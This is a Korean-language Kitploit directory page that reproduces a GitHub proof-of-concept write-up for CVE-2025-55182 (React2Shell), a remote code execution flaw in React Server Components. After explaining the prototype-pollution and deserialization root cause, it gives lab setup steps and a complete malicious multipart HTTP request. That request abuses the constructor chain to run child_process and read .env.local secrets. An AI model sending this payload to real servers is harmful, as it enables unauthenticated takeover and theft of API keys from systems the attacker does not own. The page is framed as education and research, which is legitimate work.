Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
React2ShellPoC — 이 저장소는 React Server Components의 원격 코드 실행 취약점인 CVE-2025-55182 (React2Shell)에 대한 개념 증명을 제공합니다. 이는 페이로드와 영향을 포함하여 익스플로잇이 어떻게 동작하는지 보여줍니다. | Kitploit
도구/GitHubGitHub/git0xlai/react2shellpoc
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationPayload Development
GitHubgit0xlai/react2shellpoc

React2ShellPoC

이 저장소는 React Server Components의 원격 코드 실행 취약점인 CVE-2025-55182 (React2Shell)에 대한 개념 증명을 제공합니다. 이는 페이로드와 영향을 포함하여 익스플로잇이 어떻게 동작하는지 보여줍니다.

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182(React2Shell) 이해하기: React 서버 컴포넌트를 통한 원격 코드 실행 심층 분석

개요

CVE-2025-55182는 React2Shell이라고도 하며, React 서버 컴포넌트에 영향을 미치는 심각한 원격 코드 실행(RCE) 취약점입니다. 이 결함은 React의 Flight 프로토콜에서 안전하지 않은 역직렬화 문제를 악용하여 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다.

CVSS 점수 10.0이라는 점에서 이 취약점은 매우 심각하며 즉각적인 주의가 필요합니다. 이 글에서는 취약점의 세부 사항, 악용 메커니즘을 설명하고 개념 증명(PoC) 데모를 제공하겠습니다. 시작해 보겠습니다.

영향받는 버전

다음 버전의 React 서버 컴포넌트 및 관련 패키지가 취약합니다:

  • React 서버 컴포넌트: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • 영향받는 패키지:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

React와 React 서버 컴포넌트란?

React.js는 특히 단일 페이지 애플리케이션(SPA) 맥락에서 사용자 인터페이스를 구축하는 가장 인기 있는 JavaScript 라이브러리 중 하나입니다. 개발자가 동적이고 대화형 사용자 경험을 만들 수 있게 해줍니다.

**React 서버 컴포넌트(RSC)**는 React 앱의 일부를 클라이언트가 아닌 서버에서 렌더링할 수 있게 하는 실험적 기능입니다. 이는 클라이언트 측에 필요한 JavaScript 양을 줄이고 특히 대규모 애플리케이션에서 성능을 향상시킵니다.

그러나 RSC는 서버와 클라이언트 간 데이터 교환 방식에 새로운 복잡성을 도입합니다. CVE-2025-55182는 RSC에서 서버와 클라이언트 간 데이터 전송에 사용되는 Flight 프로토콜의 이러한 문제 중 하나를 악용합니다.


취약점

취약점 요약

CVE-2025-55182는 React의 Flight 프로토콜에서 안전하지 않은 역직렬화로 인해 발생합니다. 역직렬화는 직렬화된 데이터(일반적으로 JSON)를 메모리의 객체로 변환하는 프로세스입니다. React는 서버 측 렌더링 중 서버와 클라이언트 간에 교환되는 데이터를 처리하기 위해 이 프로세스를 사용합니다.

그러나 React의 역직렬화 구현은 안전하지 않습니다. 구체적으로 React는 객체의 속성에 접근할 때 대괄호 표기법(예: moduleExports[metadata[2]])을 사용하는데, 이는 공격자가 JavaScript 객체의 프로토타입 체인을 조작할 수 있게 합니다. 이로 인해 프로토타입 오염이 발생하고 예상치 못한 방식으로 객체의 속성을 수정할 수 있어 공격자가 역직렬화 로직을 악용할 수 있습니다.

근본 원인

취약점의 근본 원인은 React가 Flight 프로토콜 페이로드를 처리하는 방식에 있습니다. 속성 접근에 대괄호 표기법을 사용하면 공격자가 프로토타입 체인을 탐색하여 정상적으로는 접근할 수 없는 속성(예: constructor)에 접근할 수 있습니다. 이 속성을 조작함으로써 공격자는 전역 Function 생성자에 접근하여 서버에서 임의의 JavaScript 코드를 실행할 수 있습니다.

악용 방식

악용은 특수하게 조작된 페이로드를 서버에 전송하여 Flight 프로토콜의 역직렬화 로직을 조작하는 방식으로 작동합니다. 프로토타입 오염과 안전하지 않은 역직렬화를 결합함으로써 공격자는 서버를 제어하고 임의 코드를 실행할 수 있습니다.

공격의 주요 구성 요소는 다음과 같습니다:

  1. 프로토타입 오염: 공격자는 객체의 프로토타입 체인을 조작하여 constructor 및 Function 속성과 같은 새 속성을 주입합니다.

  2. 페이로드 실행: 공격자가 Function 생성자에 접근하면 파일 읽기나 시스템 명령 실행과 같은 임의의 JavaScript 코드를 실행할 수 있습니다.


단계별 악용

취약 환경 설정

악용을 테스트하려면 취약한 React 환경이 필요합니다. 설정 방법은 다음과 같습니다:

  1. 취약 프로젝트 생성
    먼저 취약한 버전의 React 서버 컴포넌트가 포함된 새 Next.js 프로젝트를 만듭니다:
  • npx [email protected] poc-react2shell cd poc-react2shell

    또는 취약한 설정이 이미 포함된 사전 구성된 GitHub 저장소를 사용할 수도 있습니다.

  • 테스트 환경 파일 생성
    프로젝트 루트 디렉터리에 API 키와 같은 민감한 데이터가 포함된 .env.local 파일을 만듭니다. 공격자는 PoC에서 이 파일을 대상으로 합니다:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • 개발 서버 시작
    개발 서버를 실행합니다:

  1. npm run dev

    취약한 서버가 이제 http://localhost:3000 에서 실행 중이어야 합니다.


악용 단계

환경이 준비되면 악성 페이로드를 전송하여 악용을 트리거할 수 있습니다. 이때 Burp Suite 또는 다른 HTTP 프록시 도구가 유용합니다.

  1. 악성 페이로드 전송
    Burp Suite를 열고 Repeater 탭으로 이동합니다. 대상 URL을 http://localhost:3000/ 로 설정하고 다음 악성 페이로드를 전송합니다:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. 응답 분석
    요청을 보낸 후 악용에 성공하면 서버는 .env.local 파일의 내용(또는 환경 변수의 민감한 데이터)을 응답합니다. 이는 공격자의 기밀 데이터 접근을 확인합니다. Response


악성 페이로드 설명

헤더 분석

  1. Host: 대상 서버 지정 (localhost:3000).

  2. User-Agent: 요청을 보내는 클라이언트 식별. 일반적으로 브라우저 문자열이지만 여기서는 공격을 난독화하기 위해 조작되었을 수 있습니다.

  3. Next-Action: Next.js 처리의 일부로, 서버를 혼동하거나 역직렬화 프로세스와 상호 작용할 수 있습니다.

  4. X-Nextjs-Request-Id: Next.js에서 추적 및 디버깅을 위한 고유 요청 ID.

  5. Content-Type: JSON 또는 파일 업로드와 같은 구조화된 데이터에 사용되는 멀티파트 폼 데이터.

  6. Content-Length: 요청 본문의 길이를 나타냅니다.

멀티파트 필드

  • 필드 0: 프로토타입 오염을 트리거하는 페이로드를 포함합니다. 객체의 프로토타입을 수정하고 새 then 속성을 추가하며 악성 _response 객체를 포함합니다. _prefix는 child_process 명령을 실행하여 .env.local 파일을 읽습니다.

  • 필드 1: 필드 0을 참조하여 공격을 전파합니다.

  • 필드 2: 빈 배열로, 페이로드 구조가 그대로 유지되도록 합니다.


취약점의 영향

CVE-2025-55182 취약점을 통해 공격자는 다음을 수행할 수 있습니다:

  1. 서버에서 임의 코드 실행.

  2. API 키 및 구성 파일과 같은 민감한 파일 읽기.

  3. 리버스 셸 구축으로 잠재적으로 서버의 전체 제어권 획득.

  4. 서버에서 민감한 데이터 유출.


결론

CVE-2025-55182(React2Shell)는 React 서버 컴포넌트의 심각한 취약점으로, 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 안전하지 않은 역직렬화와 프로토타입 오염을 악용하여 공격자는 서버를 완전히 제어하고 민감한 데이터를 읽으며 악성 명령을 실행할 수 있습니다.

React 서버 컴포넌트를 사용 중이라면 이 취약점을 완화하기 위해 최신 패치 버전으로 업데이트하는 것이 중요합니다. 입력 검증 및 적절한 역직렬화 처리와 같은 보안 모범 사례를 준수하는 것이 유사한 취약점을 방지하는 데 필수적입니다.

참고 자료


  • CVE-2025-55182 세부 정보
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • PoC [kOaDT]
  • react2shellcve202555182

면책 조항

이 개념 증명은 교육 및 연구 목적으로만 제공됩니다. 시스템 소유자의 명시적 서면 동의 없이 취약점을 악용하거나 테스트하려고 시도하지 마십시오. 무단 테스트는 불법적이고 비윤리적일 수 있습니다. 항상 사이버 보안의 합법적이고 책임 있는 관행을 준수하십시오.

도구 다운로드